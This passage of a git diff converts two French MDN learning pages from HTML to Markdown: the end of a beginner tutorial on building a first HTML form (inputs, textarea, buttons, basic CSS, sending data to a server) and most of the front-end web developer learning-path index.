`email` qui définit un champ de texte sur une seule ligne n'acceptant que des adresses électroniques valides. Cette dernière valeur transforme un champ basique en une sorte de champ « intelligent » qui réalise des vérifications sur les données fournies par l'utilisateur. Vous trouverez plus de détails sur la validation des formulaires dans l'article [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire). -<p>Last but not least, remarquez la syntaxe de <code><input></code> vs <code><textarea></textarea></code>. C'est une des bizarreries du HTML. La balise <code><input></code> est un élément vide, ce qui signifie qu'il n'a pas besoin de balise fermante. Au contraire, {{HTMLElement("textarea")}} n'est pas un élément vide, il faut donc le fermer avec la balise fermante appropriée. Cela a un effet sur une caractéristique spécifique des formulaires HTML : la manière dont vous définissez la valeur par défaut. Pour définir une valeur par défaut d'un élément {{HTMLElement("input")}} vous devez utiliser l'attribut <code>value</code> de la manière suivante :</p> +Last but not least, remarquez la syntaxe de `<input>` vs `<textarea></textarea>`. C'est une des bizarreries du HTML. La balise `<input>` est un élément vide, ce qui signifie qu'il n'a pas besoin de balise fermante. Au contraire, {{HTMLElement("textarea")}} n'est pas un élément vide, il faut donc le fermer avec la balise fermante appropriée. Cela a un effet sur une caractéristique spécifique des formulaires HTML : la manière dont vous définissez la valeur par défaut. Pour définir une valeur par défaut d'un élément {{HTMLElement("input")}} vous devez utiliser l'attribut `value` de la manière suivante : -<pre class="brush:html;"><input type="text" value="par défaut cet élément sera renseigné avec ce texte"></pre> +```html +<input type="text" value="par défaut cet élément sera renseigné avec ce texte"> +``` -<p>A contrario, si vous souhaitez définir la valeur par défaut d'un élément {{HTMLElement("textarea")}}, il suffit simplement de mettre la valeur par défaut entre les balises ouvrantes et fermantes de l'élément {{HTMLElement("textarea")}} de la manière suivante :</p> +A contrario, si vous souhaitez définir la valeur par défaut d'un élément {{HTMLElement("textarea")}}, il suffit simplement de mettre la valeur par défaut entre les balises ouvrantes et fermantes de l'élément {{HTMLElement("textarea")}} de la manière suivante : -<pre class="brush:html;"><textarea>par défaut cet élément sera renseigné avec ce texte</textarea></pre> +```html +<textarea>par défaut cet élément sera renseigné avec ce texte</textarea> +``` -<h3 id="Lélément_HTMLElementbutton">L'élément {{HTMLElement("button")}}</h3> +### L'élément {{HTMLElement("button")}} -<p>Notre formulaire est presque terminé. Il nous suffit seulement d'ajouter un bouton pour permettre à l'utilisateur de nous envoyer les données renseignées dans le formulaire. Ceci se fait simplement en ajoutant d'un élément {{HTMLElement("button")}} ; ajoutez‑le juste avant la balise fermante <code></form> :</code></p> +Notre formulaire est presque terminé. Il nous suffit seulement d'ajouter un bouton pour permettre à l'utilisateur de nous envoyer les données renseignées dans le formulaire. Ceci se fait simplement en ajoutant d'un élément {{HTMLElement("button")}} ; ajoutez‑le juste avant la balise fermante `</form> :` -<pre class="brush:html;"> <div class="button"> - <button type="submit">Envoyer le message</button> - </div> -</pre> +```html + <div class="button"> + <button type="submit">Envoyer le message</button> + </div> +``` -<p>Comme vous le voyez l'élément {{htmlelement("button")}} accepte aussi un attribut de type — il peut prendre une des trois valeurs : <code>submit</code>, <code>reset</code> ou <code>button</code>.</p> +Comme vous le voyez l'élément {{htmlelement("button")}} accepte aussi un attribut de type — il peut prendre une des trois valeurs : `submit`, `reset` ou `button`. -<ul> - <li>Un clic sur un bouton <code>submit</code> (valeur par défaut) envoie les données du formulaire vers la page définie par l'attribut <code>action</code> de l'élément {{HTMLElement("form")}}.</li> - <li>Un clic sur un bouton <code>reset</code> réinitialise tous les widgets du formulaire à leurs valeurs par défaut immédiatement. Du point de vue de l'expérience utilisateur, utiliser un tel bouton est une mauvaise pratique.</li> - <li>Un clic sur un bouton <code>button</code> ne fait... rien ! Cela peut paraître stupide mais c'est en réalité très pratique pour concevoir des boutons personnalisés avec JavaScript.</li> -</ul> +- Un clic sur un bouton `submit` (valeur par défaut) envoie les données du formulaire vers la page définie par l'attribut `action` de l'élément {{HTMLElement("form")}}. +- Un clic sur un bouton `reset` réinitialise tous les widgets du formulaire à leurs valeurs par défaut immédiatement. Du point de vue de l'expérience utilisateur, utiliser un tel bouton est une mauvaise pratique. +- Un clic sur un bouton `button` ne fait... rien ! Cela peut paraître stupide mais c'est en réalité très pratique pour concevoir des boutons personnalisés avec JavaScript. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi utiliser l'élément {{HTMLElement("input")}} avec le type approprié pour produire un bouton, par exemple <code><input type="submit"></code>. Le principal avantage de {{HTMLElement("button")}} par rapport à l'élément {{HTMLElement("input")}} est que ce dernier ne permet d'utiliser que du texte comme étiquette tandis que l'élément {{HTMLElement("button")}} permet d'utiliser n'importe quel contenu HTML, autorisant ainsi des textes de bouton plus complexes et créatifs.</p> -</div> +> **Note :** Vous pouvez aussi utiliser l'élément {{HTMLElement("input")}} avec le type approprié pour produire un bouton, par exemple `<input type="submit">`. Le principal avantage de {{HTMLElement("button")}} par rapport à l'élément {{HTMLElement("input")}} est que ce dernier ne permet d'utiliser que du texte comme étiquette tandis que l'élément {{HTMLElement("button")}} permet d'utiliser n'importe quel contenu HTML, autorisant ainsi des textes de bouton plus complexes et créatifs. -<h2 id="Mise_en_page_élémentaire_du_formulaire">Mise en page élémentaire du formulaire</h2> +## Mise en page élémentaire du formulaire -<p>Nous avons désormais notre formulaire HTML, et si vous le regardez dans votre navigateur préféré, vous verrez qu'il est plutôt laid.</p> +Nous avons désormais notre formulaire HTML, et si vous le regardez dans votre navigateur préféré, vous verrez qu'il est plutôt laid. -<p><img alt="" src="form-no-style.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Si vous pensez que vous n'avez pas écrit un code HTML correct, faites la comparaison avec celui de notre exemple terminé — voyez <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html">first-form.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html"> </a>ou<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html"> également directement</a>).</p> -</div> +> **Note :** Si vous pensez que vous n'avez pas écrit un code HTML correct, faites la comparaison avec celui de notre exemple terminé — voyez [first-form.html](https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html) ([ ](https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html)ou[ également directement](https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html)). -<p>Les formulaires sont notoirement embêtants à présenter joliment. Apprendre la mise en page ou la décoration des formulaires sort du cadre de cet article, donc pour le moment nous allons simplement ajouter quelques indications au CSS pour lui donner un air convenable.</p> +Les formulaires sont notoirement embêtants à présenter joliment. Apprendre la mise en page ou la décoration des formulaires sort du cadre de cet article, donc pour le moment nous allons simplement ajouter quelques indications au CSS pour lui donner un air convenable. -<p>Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans l'en‑tête HTML. Comme ceci :</p> +Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans l'en‑tête HTML. Comme ceci : -<pre class="brush: html"><style> +```html +<style> -</style></pre> +</style> +``` -<p>Entre les balises style, ajoutons le CSS suivant, juste comme indiqué :</p> +Entre les balises style, ajoutons le CSS suivant, juste comme indiqué : -<pre class="brush:css; ">form { +```css +form { /* Uniquement centrer le formulaire sur la page */ margin: 0 auto; width: 400px; @@ -189,7 +196,7 @@ input, textarea { width: 300px; box-sizing: border-box; - /* Pour harmoniser le look & feel des bordures des champs texte */ + /* Pour harmoniser le look & feel des bordures des champs texte */ border: 1px solid #999; } @@ -215,68 +222,67 @@ button { /* Cette marge supplémentaire représente grosso modo le même espace que celui entre les étiquettes et les champs texte */ margin-left: .5em; -}</pre> +} +``` -<p>Désormais notre formulaire a une bien meilleure allure.</p> +Désormais notre formulaire a une bien meilleure allure. -<p><img alt="" src="form-style.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Il est sur GitHub dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form-styled.html">first-form-styled.html</a> (à voir aussi <a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form-styled.html">directement</a>).</p> -</div> +> **Note :** Il est sur GitHub dans [first-form-styled.html](https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form-styled.html) (à voir aussi [directement](https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form-styled.html)). -<h2 id="Envoyer_les_données_au_serveur_Web">Envoyer les données au serveur Web</h2> +## Envoyer les données au serveur Web -<p>Finalement, gérer les données du formulaire côté serveur web est peut être le plus compliqué. Comme dit auparavant, un formulaire HTML est une manière pratique de demander de l'information à un utilisateur et de les adresser à un serveur web.</p> +Finalement, gérer les données du formulaire côté serveur web est peut être le plus compliqué. Comme dit auparavant, un formulaire HTML est une manière pratique de demander de l'information à un utilisateur et de les adresser à un serveur web. -<p>L'élément {{HTMLElement("form")}} définit où et comment les données sont envoyées, merci aux attributs <code>action</code> et <code>method</code>.</p> +L'élément {{HTMLElement("form")}} définit où et comment les données sont envoyées, merci aux attributs `action` et `method`. -<p>Mais ce n'est pas tout. Nous avons aussi besoin de donner un nom à nos données. Ces noms sont importants pour deux raisons. Du côté du navigateur, cela sert à définir le nom de chaque élément de donnée. Du côté du serveur, chaque information doit avoir un nom pour être manipulée correctement.</p> +Mais ce n'est pas tout. Nous avons aussi besoin de donner un nom à nos données. Ces noms sont importants pour deux raisons. Du côté du navigateur, cela sert à définir le nom de chaque élément de donnée. Du côté du serveur, chaque information doit avoir un nom pour être manipulée correctement. -<p>Pour nommer vos données vous devez utiliser l'attribut <code>name</code> pour identifier bien précisément l'élément d'information collecté par chacun des widgets. Regardons à nouveau le code de notre formulaire :</p> +Pour nommer vos données vous devez utiliser l'attribut `name` pour identifier bien précisément l'élément d'information collecté par chacun des widgets. Regardons à nouveau le code de notre formulaire : -<pre class="brush:html; ">form action="/my-handling-form-page" method="post"> - <div> - <label for="name">Nom :</label> - <input type="text" id="name" name="user_name" /> - <div> - <div> - <label for="mail">E-mail :</label> - <input type="email" id="mail" name="user_email" /> - </div> - <div> - <label for="msg">Message:</label> - <textarea id="msg" name="user_message"></textarea> - </div> +```html +form action="/my-handling-form-page" method="post"> + <div> + <label for="name">Nom :</label> + <input type="text" id="name" name="user_name" /> + <div> + <div> + <label for="mail">E-mail :</label> + <input type="email" id="mail" name="user_email" /> + </div> + <div> + <label for="msg">Message:</label> + <textarea id="msg" name="user_message"></textarea> + </div> - ...</pre> + ... +``` -<p>Dans notre exemple, le formulaire enverra trois informations nommées respectivement « <code>user_name</code> », « <code>user_email </code>» et « <code>user_message</code> ». Ces informations seront envoyées à l'URL « <code>/my-handling-form-page</code> » avec la méthode HTTP POST.</p> +Dans notre exemple, le formulaire enverra trois informations nommées respectivement « `user_name` », « `user_email `» et « `user_message` ». Ces informations seront envoyées à l'URL « `/my-handling-form-page` » avec la méthode HTTP POST. -<p>Du côté du serveur, le script à l'URL « <code>/my-handling-form-page</code><em> </em>» recevra les données sous forme d'une liste de trois éléments clé/valeur intégrés à la requête HTTP. À vous de définir comment ce script va manipuler les données. Chacun des langages serveurs (PHP, Python, Ruby, Java, C#, etc.) a son propre mécanisme pour traiter ces données. Il n'appartient pas à ce guide d'approfondir ce sujet, mais si vous souhaitez en savoir plus, nous avons mis quelques exemples dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">Envoi des données de formulaire</a>.</p> +Du côté du serveur, le script à l'URL « `/my-handling-form-page`\* \*» recevra les données sous forme d'une liste de trois éléments clé/valeur intégrés à la requête HTTP. À vous de définir comment ce script va manipuler les données. Chacun des langages serveurs (PHP, Python, Ruby, Java, C#, etc.) a son propre mécanisme pour traiter ces données. Il n'appartient pas à ce guide d'approfondir ce sujet, mais si vous souhaitez en savoir plus, nous avons mis quelques exemples dans l'article [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Félicitations ! Vous avez construit votre premier formulaire HTML. Il ressemble à ceci :</p> +Félicitations ! Vous avez construit votre premier formulaire HTML. Il ressemble à ceci : -<p>{{EmbedLiveSample("Un_formulaire_simple", "100%", "240", "", "Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple")}}</p> +{{EmbedLiveSample("Un_formulaire_simple", "100%", "240", "", "Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple")}} -<p>Toutefois, ce n'est qu'un début — il est désormais temps de regarder plus en détail. Les formulaires HTML sont bien plus puissants que ce que vous avez pu voir ici et les autres articles de ce guide vous aiderons à maîtriser le reste.</p> +Toutefois, ce n'est qu'un début — il est désormais temps de regarder plus en détail. Les formulaires HTML sont bien plus puissants que ce que vous avez pu voir ici et les autres articles de ce guide vous aiderons à maîtriser le reste. -<p>{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}</p> +{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li>Mon premier formulaire HTML</li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- Mon premier formulaire HTML +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) diff --git a/files/fr/learn/front-end_web_developer/index.md b/files/fr/learn/front-end_web_developer/index.md index 1656374720..8912d6b416 100644 --- a/files/fr/learn/front-end_web_developer/index.md +++ b/files/fr/learn/front-end_web_developer/index.md @@ -4,187 +4,167 @@ slug: Learn/Front-end_web_developer translation_of: Learn/Front-end_web_developer original_slug: Apprendre/Front-end_web_developer --- -<p>{{learnsidebar}}</p> +{{learnsidebar}} -<p>Bienvenue dans notre parcours d'apprentissage pour les développeurs Web front-end!</p> +Bienvenue dans notre parcours d'apprentissage pour les développeurs Web front-end! -<p>Ici, nous vous proposons un cours structuré qui vous apprendra tout ce que vous devez savoir pour devenir un développeur Web front-end. Parcourez simplement chaque section, en apprenant de nouvelles compétences (ou en améliorant celles existantes) au fur et à mesure. Chaque section comprend des exercices et des évaluations pour tester votre compréhension avant d'aller de l'avant.</p> +Ici, nous vous proposons un cours structuré qui vous apprendra tout ce que vous devez savoir pour devenir un développeur Web front-end. Parcourez simplement chaque section, en apprenant de nouvelles compétences (ou en améliorant celles existantes) au fur et à mesure. Chaque section comprend des exercices et des évaluations pour tester votre compréhension avant d'aller de l'avant. -<h2 id="Sujets_abordés">Sujets abordés</h2> +## Sujets abordés -<p>Les sujets abordés sont :</p> +Les sujets abordés sont : -<ul> - <li>Configuration de base et apprendre à apprendre</li> - <li>Les normes du Web et les bonnes pratiques (telles que l'accessibilité et la compatibilité entre navigateurs)</li> - <li>HTML, le langage qui donne la structure et le sens du contenu Web</li> - <li>CSS, le langage utilisé pour styliser les pages Web</li> - <li>JavaScript, le langage de script utilisé pour créer des fonctionnalités dynamiques sur le Web</li> - <li>Les outils utilisés pour faciliter le développement Web moderne côté client.</li> -</ul> +- Configuration de base et apprendre à apprendre +- Les normes du Web et les bonnes pratiques (telles que l'accessibilité et la compatibilité entre navigateurs) +- HTML, le langage qui donne la structure et le sens du contenu Web +- CSS, le langage utilisé pour styliser les pages Web +- JavaScript, le langage de script utilisé pour créer des fonctionnalités dynamiques sur le Web +- Les outils utilisés pour faciliter le développement Web moderne côté client. -<p>Vous pouvez parcourir les sections dans l'ordre, mais chacune d'elles est également indépendante. Par exemple, si vous connaissez déjà le HTML, vous pouvez passer à la section CSS.</p> +Vous pouvez parcourir les sections dans l'ordre, mais chacune d'elles est également indépendante. Par exemple, si vous connaissez déjà le HTML, vous pouvez passer à la section CSS. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Vous n'avez pas besoin de connaissances préalables pour commencer ce cours. Tout ce dont vous avez besoin, c'est d'un ordinateur capable de faire fonctionner des navigateurs web modernes, d'une connexion internet et d'une volonté d'apprendre.</p> +Vous n'avez pas besoin de connaissances préalables pour commencer ce cours. Tout ce dont vous avez besoin, c'est d'un ordinateur capable de faire fonctionner des navigateurs web modernes, d'une connexion internet et d'une volonté d'apprendre. -<p>Si vous n'êtes pas sûr que le développement web front-end est fait pour vous, et/ou si vous souhaitez une introduction en douceur avant de commencer un cours plus long et plus complet, consultez d'abord notre module <a href="/fr/docs/Learn/Getting_started_with_the_web">Commencer avec le web</a>.</p> +Si vous n'êtes pas sûr que le développement web front-end est fait pour vous, et/ou si vous souhaitez une introduction en douceur avant de commencer un cours plus long et plus complet, consultez d'abord notre module [Commencer avec le web](/fr/docs/Learn/Getting_started_with_the_web). -<h2 id="Obtenir_de_laide">Obtenir de l'aide</h2> +## Obtenir de l'aide -<p>Nous avons essayé de rendre l'apprentissage du développement web front-end aussi simple que possible, mais vous resterez probablement bloqué parce que vous ne comprenez pas quelque chose, ou parce que du code ne fonctionne pas.</p> +Nous avons essayé de rendre l'apprentissage du développement web front-end aussi simple que possible, mais vous resterez probablement bloqué parce que vous ne comprenez pas quelque chose, ou parce que du code ne fonctionne pas. -<p>Ne paniquez pas. Nous avons tous des problèmes, que nous soyons débutants ou professionnels du développement web. L'article <a href="/fr/docs/Learn/Learning_and_getting_help">Apprendre et obtenir de l'aide</a> vous donne une série de conseils pour rechercher des informations et vous aider. Si vous êtes toujours bloqués, n'hésitez pas à poser une question sur notre <a href="https://discourse.mozilla.org/c/mdn/learn/">forum de discussion</a>.</p> +Ne paniquez pas. Nous avons tous des problèmes, que nous soyons débutants ou professionnels du développement web. L'article [Apprendre et obtenir de l'aide](/fr/docs/Learn/Learning_and_getting_help) vous donne une série de conseils pour rechercher des informations et vous aider. Si vous êtes toujours bloqués, n'hésitez pas à poser une question sur notre [forum de discussion](https://discourse.mozilla.org/c/mdn/learn/). -<p>Allons-y. Bonne chance !</p> +Allons-y. Bonne chance ! -<h2 id="Le_parcours_dapprentissage">Le parcours d'apprentissage</h2> +## Le parcours d'apprentissage -<h3 id="Pour_commencer">Pour commencer</h3> +### Pour commencer -<p>Temps nécessaire: 1–2 heures</p> +Temps nécessaire: 1–2 heures -<h4 id="Prérequis_2">Prérequis</h4> +#### Prérequis -<p>Rien d'autre que des connaissances de base en informatique.</p> +Rien d'autre que des connaissances de base en informatique. -<h4 id="Comment_saurai-je_que_je_suis_prêt_à_passer_à_autre_chose">Comment saurai-je que je suis prêt à passer à autre chose ?</h4> +#### Comment saurai-je que je suis prêt à passer à autre chose ? -<p>Il n'y a pas d'évaluation dans cette partie du cours. Mais assurez-vous de ne pas sauter d'étape. Il est important de vous préparer à faire des exercices plus tard dans le cours.</p> +Il n'y a pas d'évaluation dans cette partie du cours. Mais assurez-vous de ne pas sauter d'étape. Il est important de vous préparer à faire des exercices plus tard dans le cours. -<h4 id="Guides_fondamentaux">Guides fondamentaux</h4> +#### Guides fondamentaux -<ul> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installation des logiciels de base</a> — configuration des outils de base (15 min de lecture)</li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">Contexte du web et des standards du web</a> (45 min de lecture)</li> - <li><a href="/fr/docs/Learn/Learning_and_getting_help">Apprendre et obtenir de l'aide</a> (45 min de lecture)</li> -</ul> +- [Installation des logiciels de base](/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software) — configuration des outils de base (15 min de lecture) +- [Contexte du web et des standards du web](/fr/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards) (45 min de lecture) +- [Apprendre et obtenir de l'aide](/fr/docs/Learn/Learning_and_getting_help) (45 min de lecture) -<h3 id="Sémantique_et_structure_avec_HTML">Sémantique et structure avec HTML</h3> +### Sémantique et structure avec HTML -<p>Temps nécessaire: 35–50 heures</p> +Temps nécessaire: 35–50 heures -<h4 id="Prérequis_3">Prérequis</h4> +#### Prérequis -<p>Rien d'autre que des connaissances informatiques de base, et un environnement de développement web de base.</p> +Rien d'autre que des connaissances informatiques de base, et un environnement de développement web de base. -<h4 id="Comment_saurai-je_que_je_suis_prêt_à_passer_à_autre_chose_2">Comment saurai-je que je suis prêt à passer à autre chose ?</h4> +#### Comment saurai-je que je suis prêt à passer à autre chose ? -<p>Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.</p> +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. -<h4 id="Guides_fondamentaux_2">Guides fondamentaux</h4> +#### Guides fondamentaux -<ul> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a> (15–20 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding">Multimédia et intégration</a> (15–20 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/HTML/Tables">Tableaux HTML</a> (5–10 heures de lecture/exercices)</li> -</ul> +- [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML) (15–20 heures de lecture/exercices) +- [Multimédia et intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding) (15–20 heures de lecture/exercices) +- [Tableaux HTML](/fr/docs/Learn/HTML/Tables) (5–10 heures de lecture/exercices) -<h3 id="Design_et_mise_en_page_avec_le_CSS">Design et mise en page avec le CSS</h3> +### Design et mise en page avec le CSS -<p>Temps nécessaire: 90–120 heures</p> +Temps nécessaire: 90–120 heures -<h4 id="Prérequis_4">Prérequis</h4> +#### Prérequis -<p>Il est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre le CSS. Vous devriez au moins étudier <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">l'introduction au HTML</a> d'abord.</p> +Il est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre le CSS. Vous devriez au moins étudier [l'introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML) d'abord. -<h4 id="Comment_saurai-je_que_je_suis_prêt_à_passer_à_autre_chose_3">Comment saurai-je que je suis prêt à passer à autre chose ?</h4> +#### Comment saurai-je que je suis prêt à passer à autre chose ? -<p>Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.</p> +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. -<h4 id="Guides_fondamentaux_3">Guides fondamentaux</h4> +#### Guides fondamentaux -<ul> - <li><a href="/fr/docs/Learn/CSS/First_steps">Premiers pas avec CSS</a> (10–15 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks">Les élements de base du CSS</a> (35–45 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/CSS/Styling_text">Mise en forme du texte</a> (15–20 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout">Mise en page CSS</a> (30–40 heures de lecture/exercices)</li> -</ul> +- [Premiers pas avec CSS](/fr/docs/Learn/CSS/First_steps) (10–15 heures de lecture/exercices) +- [Les élements de base du CSS](/fr/docs/Learn/CSS/Building_blocks) (35–45 heures de lecture/exercices) +- [Mise en forme du texte](/fr/docs/Learn/CSS/Styling_text) (15–20 heures de lecture/exercices) +- [Mise en page CSS](/fr/docs/Learn/CSS/CSS_layout) (30–40 heures de lecture/exercices) -<h4 id="Ressources_complémentaires">Ressources complémentaires</h4> +#### Ressources complémentaires -<ul> - <li><a href="/fr/docs/Web/CSS/Layout_cookbook">CSS layout cookbook</a></li> -</ul> +- [CSS layout cookbook](/fr/docs/Web/CSS/Layout_cookbook) -<h3 id="Interactivité_avec_JavaScript">Interactivité avec JavaScript</h3> +### Interactivité avec JavaScript -<p>Temps nécessaire: 135–185 heures</p> +Temps nécessaire: 135–185 heures -<h4 id="Prérequis_5">Prérequis</h4> +#### Prérequis -<p>ll est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre JavaScript. Vous devriez au moins étudier l'<a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a> d'abord.</p> +ll est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre JavaScript. Vous devriez au moins étudier l'[Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML) d'abord. -<h4 id="Comment_saurai-je_que_je_suis_prêt_à_passer_à_autre_chose_4">Comment saurai-je que je suis prêt à passer à autre chose ?</h4> +#### Comment saurai-je que je suis prêt à passer à autre chose ? -<p>Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.</p> +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. -<h4 id="Guides_fondamentaux_4">Guides fondamentaux</h4> +#### Guides fondamentaux -<ul> - <li><a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas avec JavaScript</a> (30–40 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/JavaScript/Building_blocks">Les éléments de base de JavaScript</a> (25–35 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs">API web côté client</a> (30–40 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/JavaScript/Objects">Introduction aux objets JavaScript</a> (25–35 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous">JavaScript asynchrone</a> (25–35 heures de lecture/exercices)</li> -</ul> +- [Premiers pas avec JavaScript](/fr/docs/Learn/JavaScript/First_steps) (30–40 heures de lecture/exercices) +- [Les éléments de base de JavaScript](/fr/docs/Learn/JavaScript/Building_blocks) (25–35 heures de lecture/exercices) +- [API web côté client](/fr/docs/Learn/JavaScript/Client-side_web_APIs) (30–40 heures de lecture/exercices) +- [Introduction aux objets JavaScript](/fr/docs/Learn/JavaScript/Objects) (25–35 heures de lecture/exercices) +- [JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous) (25–35 heures de lecture/exercices) -<h3 id="Formulaires_web_-_Travailler_avec_les_données_des_utilisateurs">Formulaires web - Travailler avec les données des utilisateurs</h3> +### Formulaires web - Travailler avec les données des utilisateurs -<p>Temps nécessaire: 40–50 heures</p> +Temps nécessaire: 40–50 heures -<h4 id="Prérequis_6">Prérequis</h4> +#### Prérequis -<p>Les formulaires nécessitent des connaissances en HTML, CSS et JavaScript. Étant donné la complexité du travail avec les formulaires, il s'agit d'un sujet spécifique.</p> +Les formulaires nécessitent des connaissances en HTML, CSS et JavaScript. Étant donné la complexité du travail avec les formulaires, il s'agit d'un sujet spécifique. -<h4 id="Comment_saurai-je_que_je_suis_prêt_à_passer_à_autre_chose_5">Comment saurai-je que je suis prêt à passer à autre chose ?</h4> +#### Comment saurai-je que je suis prêt à passer à autre chose ? -<p>Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.</p> +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que 